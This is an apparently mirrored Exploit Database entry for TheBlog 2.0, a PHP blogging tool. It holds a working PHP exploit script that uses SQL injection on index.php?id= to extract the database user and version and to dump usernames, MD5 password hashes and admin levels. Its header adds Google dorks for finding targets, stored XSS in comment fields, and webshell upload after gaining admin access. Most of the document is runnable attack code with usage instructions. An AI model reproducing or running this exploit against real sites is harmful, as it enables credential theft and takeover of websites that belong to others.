TheBlog 2.0 – Multiple Vulnerabilities

• Exploit Database
• 55 阅读

• 作者： WhiteCollarGroup
  日期： 2012-06-11
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/19060/

• <?php
  # Exploit Title: TheBlog <= 2.0 SQL Injection
  # Exploit author: WhiteCollarGroup
  # Google Dork: intext:"TheBlog é um software livre e é distribuido sobre a licença GNU/GPL "
  # Google Dork: intext:"TheBlog PHP weblogger"
  # Date: 10th 06 2012
  # Software Link: http://phpbrasil.com/script/JHnpFRmSBqlf/sn-news
  # Software homepage: http://theblog.codigolivre.org.br/
  # Version: 2.0
  # Tested on: Debian GNU/Linux,Windows 7 Ultimate (Apache Server)
  
  /*
  
  WhiteCollarGroup
  	www.wcgroup.host56.com
  	whitecollar_group@hotmail.com
  	@WCollarGroup
  
  -+-
  	If you will try to hack your own server for test, and will install on a MySQL >= 5, on SQL codes to insert, you must replace all:
  	TYPE=MyISAM
  	By:
  	ENGINE=InnoDB
  -+-
  
  We discovered multiple vulnerabilities on this system. All in index.php, vars:
  
  ~> SQL Injection
  	index.php?id=[sqli]
  	index.php?cat=[sqli]
  	index.php?archives=[sqli without "-"]
  
  ~> XSS Persistent (stored)
  	When reading a post, click "Deixe um comentário" (leave an comment).
  	In comment form, you have:
  	Nome: [XSS]
  	E-mail: [XSS]
  	Message: [XSS]
  	Inputs "Nome" and "E-mail" are limited to 255 max chars. Input "Message" haven't limit.
  	You can inject HTML and JavaScript code.
  
  ~> Arbitraty File Upload
  	After get admin access, on the menu, click "Upload".
  	Upload your webshell on the form. A link will be appears on file list ("Lista de Arquivos").
  	
   > What's this exploit?
  	Are a PoC for SQL Injection on "index.php?id=".
  	How to use:
  	php exploit.php <target>
  	Example:
  	php exploit.php http://target.com/blog/
  	
  	
  EDUCATIONAL PURPOSE ONLY!
  */
  
  error_reporting(E_ERROR);
  set_time_limit(0);
  ini_set("default_socket_timeout", 30);
   
  function hex($string){
  $hex=''; // PHP 'Dim' =]
  for ($i=0; $i < strlen($string); $i++){
  $hex .= dechex(ord($string[$i]));
  }
  return '0x'.$hex;
  }
  
  
  echo "TheBlog <= 2.0 SQL Injection exploit\n";
  echo "Discovered and written by WhiteCollarGroup\n";
  echo "www.wcgroup.host56.com - whitecollar_group@hotmail.com\n\n";
  
  if($argc!=2) {
  	echo "Usage: \n";
  	echo "php $argv[0] <target url>\n";
  	echo "Example:\n";
  	echo "php $argv[0] http://www.website.com/blog\n";
  	exit;
  }
  
  $target = $argv[1];
  if(substr($target, (strlen($target)-1))!="/") {
  	$target .= "/";
  }
  
  $inject = $target . "index.php?id=".urlencode("-0' ");
  
  echo "[*] Trying to get informations...\n";
  $token = uniqid();
  $token_hex = hex($token);
  
  // http://localhost/cms/theblog/theblog2-0/index.php?id=-62%27%20UNION%20ALL%20SELECT%201,2,3,4,5,concat%28login,0x3c3d3e,senha,0x3c3d3e,nivel%29,7,8,9,10,11,12,13%20from%20theblog_users%20LIMIT%200,1--+
  
  $infos = file_get_contents($inject.urlencode("union all select 1,2,3,4,5,concat($token_hex,user(),$token_hex,version(),$token_hex),7,8,9,10,11,12,13-- "));
  $infos_r = array();
  
  preg_match_all("/$token(.*)$token(.*)$token/", $infos, $infos_r);
  $user = $infos_r[1][0];
  $version = $infos_r[2][0];
  if($user) {
  	echo "[!] MySQL version: $version\n";
  	echo "[!] MySQL user: $user\n";
  } else {
  	echo "[-] Error while getting informations.\n";
  }
  
  echo "[*] Getting users...\n";
  $i = 0;
  while(true) {
  	$dados_r = array();
  	$dados = file_get_contents($inject.urlencode("union all select 1,2,3,4,5,concat($token_hex,login,$token_hex,senha,$token_hex,nivel,$token_hex),7,8,9,10,11,12,13 FROM theblog_users LIMIT $i,1-- "));
  	preg_match_all("/$token(.*)$token(.*)$token(.*)$token/", $dados, $dados_r);
  	$login = $dados_r[1][0];
  	$senha = $dados_r[2][0];
  	$nivel = $dados_r[3][0];
  	if(($login) OR ($senha) OR ($nivel)) {
  		echo "-+-\n";
  		echo "User: $login\n"
  			."Pass (MD5): $senha\n"
  			."Level: ".($nivel=="1" ? "admin" : "poster")."\n";
  		$i++;
  	} else {
  		break;
  	}
  }
  
  if($i!=0) {
  	echo "[!] Admin login: {$target}admin.php\n";
  } else {
  	echo "[-] Exploit failed. Make sure that's server is using a valid version of TheBlog without Apache mod_security.\nWe're sorry.\n";
  }